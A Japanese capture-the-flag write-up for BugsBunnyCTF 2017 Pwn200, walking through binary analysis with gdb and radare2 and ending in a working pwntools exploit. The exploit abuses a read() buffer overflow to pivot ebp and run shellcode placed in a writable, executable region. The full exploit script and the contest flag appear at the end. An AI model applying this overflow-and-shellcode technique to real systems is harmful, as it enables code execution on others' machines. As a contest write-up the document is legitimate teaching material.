bugsbunnyctf2017 [Pwn 200] Pwn200

観察

まずはセキュリティ機構を調べてみましょう。

 »»»» gdb -q pwn200                                                                                                                          0|23:05:18
Reading symbols from pwn200...(no debugging symbols found)...done.
gdb-peda$ checksec
CANARY    : disabled
FORTIFY   : disabled
NX        : disabled
PIE       : disabled
RELRO     : Partial

実行するとただ文字を受け付けるだけのようでした。バッファオーバーランが出来るか試します。

 »»»» ./pwn200                                                                                                                               0|22:41:00
Welcome to BugsBunnyCTF!
Its all easy you should solve it :D?
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
fish: Job 5, './pwn200' terminated by signal SIGSEGV (Address boundary error)

セグフォが来ました。今回の脆弱性はバッファーオーバーランのようです。

BOFなのでオフセットを調べたいところですがまずはバイナリをチェックしてみましょう。

radare2を使って、解析をして(aaaa)、関数一覧を見ます(afl)。

 »»»» r2 -w pwn200_r2                                                                                                                        0|23:08:08
 -- Please remove pregnant women, pregnant children, and pregnant pets from the monitor.
[0x080483a0]> aaaa
[x] Analyze all flags starting with sym. and entry0 (aa)
[x] Analyze len bytes of instructions for references (aar)
[x] Analyze function calls (aac)
[x] Emulate code to find computed references (aae)
[x] Analyze consecutive function (aat)
[aav: using from to 0x8048000 0x8049d58
Using vmin 0x8048000 and vmax 0x804a02c
aav: using from to 0x8048000 0x8049d58
Using vmin 0x8048000 and vmax 0x804a02c
[x] Analyze value pointers (aav)
[Deinitialized mem.0x100000_0xf0000 functions (afta)unc.* functions (aan)
[x] Type matching analysis for all functions (afta)
[x] Type matching analysis for all functions (afta)
[0x080483a0]> afl
0x08048310    3 35           sym._init
0x08048350    1 6            sym.imp.read
0x08048360    1 6            sym.imp.puts
0x08048370    1 6            sym.imp.__libc_start_main
0x08048380    1 6            sym.imp.setvbuf
0x08048390    1 6            sub.__gmon_start___252_390
0x080483a0    1 33           entry0
0x080483d0    1 4            sym.__x86.get_pc_thunk.bx
0x080483e0    4 43           sym.deregister_tm_clones
0x08048410    4 53           sym.register_tm_clones
0x08048450    3 30           sym.__do_global_dtors_aux
0x08048470    4 43   -> 40   sym.frame_dummy
0x0804849b    1 29           sym.init
0x080484b8    1 30           sym.HEYy
0x080484d6    1 59           sym.lOL
0x08048511    1 46           sym.main
0x08048540    4 93           sym.__libc_csu_init
0x080485a0    1 2            sym.__libc_csu_fini
0x080485a4    1 20           sym._fini

とりあえずsym.mainから見ていきます。

[0x080483a0]> s sym.main
[0x08048511]> VV

中では sym.initsym.HEYysym.lOL を順に呼び出してるだけのようでした。

さらにそれぞれの関数に飛んで読むと sym.lOL でread()を呼び出しているようです。

ローカル変数としてはdword(4byte)のものを4つ合計16byteを入力用としてとっているものの、実際には0x80=128byte分の入力を受け付けているため、バッファーオーバーランを起こすようです。

観察を進めます。スタック領域はleave命令前ではこのようになっています。

ローカル変数0
ローカル変数1
ローカル変数2
ローカル変数3
以前のebpの値(最初でpushしている)
呼び出し元の関数のポインタ

leave命令後ではebpは以前のebpの値に戻り、espは呼び出し元の関数のポインタを指すようになります。(つまりleave前のebpの値の一つ先(4byte後)のアドレスを指す)

このような構成になっていることから次のことが可能です。

  1. ebpの値を任意の値に書き換えられる。
  2. 呼び出し元の関数のポインタ以後を書き換えることでreturn oriented programmingができる。

今回はこの2つを使ってシェルを取ります。

残る問題はshellcodeをどこに置くかですが

ASLRが効いていて、stack領域が特定できないと仮定してかつPIEが無いことから

実行バイナリの書き込み可能かつ実行可能の領域を探してそこにshellcodeを置きます。

これを探すためにまずバイナリを実行して、pwntoolsのpause()関数を使うなりしてバイナリを止めておいて

cat /proc/{pid}/maps をします。

すると以下の領域が目的として合致していることがわかります。

0804a000-0804b000 rwxp

ただし、radare2で見ると

[0x080483a0]> CC
...
0x0804a00c data Cd 4
0x0804a010 data Cd 4
0x0804a014 data Cd 4
0x0804a018 data Cd 4
0x0804a024 data Cd 4
...

0x0804a00c~0x0804a028 間にはshellcodeを置かないようにしておきます。(多分意味はないですが。)

自分の解法では0x0804a100 からshellcodeを配置します。

Exploit!

いよいよExploitに入ります。やることは

  1. ebpと次の関数を指すポインタを書き換えてread関数でshellcodeを読み込めるようにする。
  2. shellcodewを書き込んでshellcodeの先頭に飛ばす

の2つです。

まず1のコードです。

from pwn import *

#context.log_level = 'debug'
HOST = '54.153.19.139 '
PORT = 5254
#conn = remote(HOST, PORT)
conn = process('./pwn200')
pause()
payload = 'A' * 4 * 6
payload += p32(0x0804a100) #使用する実行可能領域のアドレス
payload += p32(0x080484dc) #read関数の数個手前のアドレス
conn.sendafter('Its all easy you should solve it :D?', payload)

次に2のコードです。

payload = open('./binsh4').read() #ハリネズミ本のサポートサイトの作成法を見て作っておいたshellcode。
payload += '\x00' * (4 * 7 - len(payload))
payload += p32(0x08048747) #espのpaddingとして適当なアドレス、念の為ret命令を指すようにしておいた。
payload += p32(0x08048747) #上に同じ。
payload += p32(0x08048747) #上に同じ。
payload += p32(0x0804a0e8) #shellcodeの先頭のアドレス、ローカル変数0はebp - 0x18を指す。
conn.send(payload)
conn.interactive()

最後にこれらのコードを合わせて、

from pwn import *

#context.log_level = 'debug'
HOST = '54.153.19.139 '
PORT = 5254
#conn = remote(HOST, PORT)
conn = process('./pwn200')
pause()
payload = 'A' * 4 * 6
payload += p32(0x0804a100)
payload += p32(0x080484dc)
conn.sendafter('Its all easy you should solve it :D?', payload)
payload = open('./binsh4').read()
payload += '\x00' * (4 * 7 - len(payload))
payload += p32(0x08048747)
payload += p32(0x08048747)
payload += p32(0x08048747)
payload += p32(0x0804a0e8)
conn.send(payload)
conn.interactive()

を実行してシェルが取れます。

flagは /home/pwn200/flagcat して

Bugs_Bunny{Its_all_about_where_We_Can_Put_Our_Shell:D!}

でした。